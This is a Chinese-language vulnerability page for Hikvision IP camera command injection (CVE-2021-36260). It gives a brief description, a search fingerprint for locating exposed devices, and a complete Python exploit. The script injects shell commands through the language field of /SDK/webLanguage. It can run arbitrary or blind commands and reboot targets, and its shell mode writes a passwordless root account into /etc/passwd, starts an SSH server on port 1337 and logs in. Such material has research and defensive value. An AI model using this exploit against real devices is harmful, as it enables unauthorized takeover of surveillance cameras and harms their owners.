# HIKVISION DS/IDS/IPC 等设备 远程命令执行漏洞 CVE-2021-36260

# 漏洞描述

海康威视部分产品中的web模块存在一个命令注入漏洞,由于对输入参数校验不充分,攻击者可以发送带有恶意命令的报文到受影响设备,成功利用此漏洞可以导致命令执行。海康威视已发布版本修复该漏洞

# 漏洞影响

img

img

img

# 网络测绘

  • ✅"671-1e0-587ec4a1"

# 漏洞复现

登录页面

img

使用EXP命令执行

img

# 漏洞POC

# Exploit Title: Hikvision Web Server Build 210702 - Command Injection
# Exploit Author: bashis
# Vendor Homepage: https://www.hikvision.com/
# Version: 1.0
# CVE: CVE-2021-36260
# Reference: https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html

# All credit to Watchful_IP

#!/usr/bin/env python3

"""
Note:
1)  This code will _not_ verify if remote is Hikvision device or not.
2)  Most of my interest in this code has been concentrated on how to
    reliably detect vulnerable and/or exploitable devices.
    Some devices are easy to detect, verify and exploit the vulnerability,
    other devices may be vulnerable but not so easy to verify and exploit.
    I think the combined verification code should have very high accuracy.
3)  'safe check' (--check) will try write and read for verification
    'unsafe check' (--reboot) will try reboot the device for verification

[Examples]
Safe vulnerability/verify check:
    $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check

Safe and unsafe vulnerability/verify check:
(will only use 'unsafe check' if not verified with 'safe check')
    $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check --reboot

Unsafe vulnerability/verify check:
    $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --reboot

Launch and connect to SSH shell:
    $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --shell

Execute command:
    $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --cmd "ls -l"

Execute blind command:
    $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --cmd_blind "reboot"

$./CVE-2021-36260.py -h
[*] Hikvision CVE-2021-36260
[*] PoC by bashis <mcw noemail eu> (2021)
usage: CVE-2021-36260.py [-h] --rhost RHOST [--rport RPORT] [--check]
                         [--reboot] [--shell] [--cmd CMD]
                         [--cmd_blind CMD_BLIND] [--noverify]
                         [--proto {http,https}]

optional arguments:
  -h, --help            show this help message and exit
  --rhost RHOST         Remote Target Address (IP/FQDN)
  --rport RPORT         Remote Target Port
  --check               Check if vulnerable
  --reboot              Reboot if vulnerable
  --shell               Launch SSH shell
  --cmd CMD             execute cmd (i.e: "ls -l")
  --cmd_blind CMD_BLIND
                        execute blind cmd (i.e: "reboot")
  --noverify            Do not verify if vulnerable
  --proto {http,https}  Protocol used
$
"""

import os
import argparse
import time

import requests
from requests import packages
from requests.packages import urllib3
from requests.packages.urllib3 import exceptions


class Http(object):
    def __init__(self, rhost, rport, proto, timeout=60):
        super(Http, self).__init__()

        self.rhost = rhost
        self.rport = rport
        self.proto = proto
        self.timeout = timeout

        self.remote = None
        self.uri = None

        """ Most devices will use self-signed certificates, suppress any warnings """
        requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

        self.remote = requests.Session()

        self._init_uri()

        self.remote.headers.update({
            'Host': f'{self.rhost}:{self.rport}',
            'Accept': '*/*',
            'X-Requested-With': 'XMLHttpRequest',
            'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
            'Accept-Encoding': 'gzip, deflate',
            'Accept-Language': 'en-US,en;q=0.9,sv;q=0.8',
        })
        """
        self.remote.proxies.update({
            # 'http': 'http://127.0.0.1:8080',
        })
        """

    def send(self, url=None, query_args=None, timeout=5):

        if query_args:
            """Some devices can handle more, others less, 22 bytes seems like a good compromise"""
            if len(query_args) > 22:
                print(f'[!] Error: Command "{query_args}" to long ({len(query_args)})')
                return None

        """This weird code will try automatically switch between http/https
        and update Host
        """
        try:
            if url and not query_args:
                return self.get(url, timeout)
            else:
                data = self.put('/SDK/webLanguage', query_args, timeout)
        except requests.exceptions.ConnectionError:
            self.proto = 'https' if self.proto == 'http' else 'https'
            self._init_uri()
            try:
                if url and not query_args:
                    return self.get(url, timeout)
                else:
                    data = self.put('/SDK/webLanguage', query_args, timeout)
            except requests.exceptions.ConnectionError:
                return None
        except requests.exceptions.RequestException:
            return None
        except KeyboardInterrupt:
            return None

        """302 when requesting http on https enabled device"""

        if data.status_code == 302:
            redirect = data.headers.get('Location')
            self.uri = redirect[:redirect.rfind('/')]
            self._update_host()
            if url and not query_args:
                return self.get(url, timeout)
            else:
                data = self.put('/SDK/webLanguage', query_args, timeout)

        return data

    def _update_host(self):
        if not self.remote.headers.get('Host') == self.uri[self.uri.rfind('://') + 3:]:
            self.remote.headers.update({
                'Host': self.uri[self.uri.rfind('://') + 3:],
            })

    def _init_uri(self):
        self.uri = '{proto}://{rhost}:{rport}'.format(proto=self.proto, rhost=self.rhost, rport=str(self.rport))

    def put(self, url, query_args, timeout):
        """Command injection in the <language> tag"""
        query_args = '<?xml version="1.0" encoding="UTF-8"?>' \
                     f'<language>$({query_args})</language>'
        return self.remote.put(self.uri + url, data=query_args, verify=False, allow_redirects=False, timeout=timeout)

    def get(self, url, timeout):
        return self.remote.get(self.uri + url, verify=False, allow_redirects=False, timeout=timeout)


def check(remote, args):
    """
    status_code == 200 (OK);
        Verified vulnerable and exploitable
    status_code == 500 (Internal Server Error);
        Device may be vulnerable, but most likely not
        The SDK webLanguage tag is there, but generate status_code 500 when language not found
        I.e. Exist: <language>en</language> (200), not exist: <language>EN</language> (500)
        (Issue: Could also be other directory than 'webLib', r/o FS etc...)
    status_code == 401 (Unauthorized);
        Defiantly not vulnerable
    """
    if args.noverify:
        print(f'[*] Not verifying remote "{args.rhost}:{args.rport}"')
        return True

    print(f'[*] Checking remote "{args.rhost}:{args.rport}"')

    data = remote.send(url='/', query_args=None)
    if data is None:
        print(f'[-] Cannot establish connection to "{args.rhost}:{args.rport}"')
        return None
    print('[i] ETag:', data.headers.get('ETag'))

    data = remote.send(query_args='>webLib/c')
    if data is None or data.status_code == 404:
        print(f'[-] "{args.rhost}:{args.rport}" do not looks like Hikvision')
        return False
    status_code = data.status_code

    data = remote.send(url='/c', query_args=None)
    if not data.status_code == 200:
        """We could not verify command injection"""
        if status_code == 500:
            print(f'[-] Could not verify if vulnerable (Code: {status_code})')
            if args.reboot:
                return check_reboot(remote, args)
        else:
            print(f'[+] Remote is not vulnerable (Code: {status_code})')
        return False

    print('[!] Remote is verified exploitable')
    return True


def check_reboot(remote, args):
    """
    We sending 'reboot', wait 2 sec, then checking with GET request.
    - if there is data returned, we can assume remote is not vulnerable.
    - If there is no connection or data returned, we can assume remote is vulnerable.
    """
    if args.check:
        print('[i] Checking if vulnerable with "reboot"')
    else:
        print(f'[*] Checking remote "{args.rhost}:{args.rport}" with "reboot"')
    remote.send(query_args='reboot')
    time.sleep(2)
    if not remote.send(url='/', query_args=None):
        print('[!] Remote is vulnerable')
        return True
    else:
        print('[+] Remote is not vulnerable')
        return False


def cmd(remote, args):
    if not check(remote, args):
        return False
    data = remote.send(query_args=f'{args.cmd}>webLib/x')
    if data is None:
        return False

    data = remote.send(url='/x', query_args=None)
    if data is None or not data.status_code == 200:
        print(f'[!] Error execute cmd "{args.cmd}"')
        return False
    print(data.text)
    return True


def cmd_blind(remote, args):
    """
    Blind command injection
    """
    if not check(remote, args):
        return False
    data = remote.send(query_args=f'{args.cmd_blind}')
    if data is None or not data.status_code == 500:
        print(f'[-] Error execute cmd "{args.cmd_blind}"')
        return False
    print(f'[i] Try execute blind cmd "{args.cmd_blind}"')
    return True


def shell(remote, args):
    if not check(remote, args):
        return False
    data = remote.send(url='/N', query_args=None)

    if data.status_code == 404:
        print(f'[i] Remote "{args.rhost}" not pwned, pwning now!')
        data = remote.send(query_args='echo -n P::0:0:W>N')
        if data.status_code == 401:
            print(data.headers)
            print(data.text)
            return False
        remote.send(query_args='echo :/:/bin/sh>>N')
        remote.send(query_args='cat N>>/etc/passwd')
        remote.send(query_args='dropbear -R -B -p 1337')
        remote.send(query_args='cat N>webLib/N')
    else:
        print(f'[i] Remote "{args.rhost}" already pwned')

    print(f'[*] Trying SSH to {args.rhost} on port 1337')
    os.system(f'stty echo; stty iexten; stty icanon; \
    ssh -o StrictHostKeyChecking=no -o LogLevel=error -o UserKnownHostsFile=/dev/null \
    P@{args.rhost} -p 1337')


def main():
    print('[*] Hikvision CVE-2021-36260\n[*] PoC by bashis <mcw noemail eu> (2021)')

    parser = argparse.ArgumentParser()
    parser.add_argument('--rhost', required=True, type=str, default=None, help='Remote Target Address (IP/FQDN)')
    parser.add_argument('--rport', required=False, type=int, default=80, help='Remote Target Port')
    parser.add_argument('--check', required=False, default=False, action='store_true', help='Check if vulnerable')
    parser.add_argument('--reboot', required=False, default=False, action='store_true', help='Reboot if vulnerable')
    parser.add_argument('--shell', required=False, default=False, action='store_true', help='Launch SSH shell')
    parser.add_argument('--cmd', required=False, type=str, default=None, help='execute cmd (i.e: "ls -l")')
    parser.add_argument('--cmd_blind', required=False, type=str, default=None, help='execute blind cmd (i.e: "reboot")')
    parser.add_argument(
        '--noverify', required=False, default=False, action='store_true', help='Do not verify if vulnerable'
    )
    parser.add_argument(
        '--proto', required=False, type=str, choices=['http', 'https'], default='http', help='Protocol used'
    )
    args = parser.parse_args()

    remote = Http(args.rhost, args.rport, args.proto)

    try:
        if args.shell:
            shell(remote, args)
        elif args.cmd:
            cmd(remote, args)
        elif args.cmd_blind:
            cmd_blind(remote, args)
        elif args.check:
            check(remote, args)
        elif args.reboot:
            check_reboot(remote, args)
        else:
            parser.parse_args(['-h'])
    except KeyboardInterrupt:
        return False


if __name__ == '__main__':
    main()
            
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331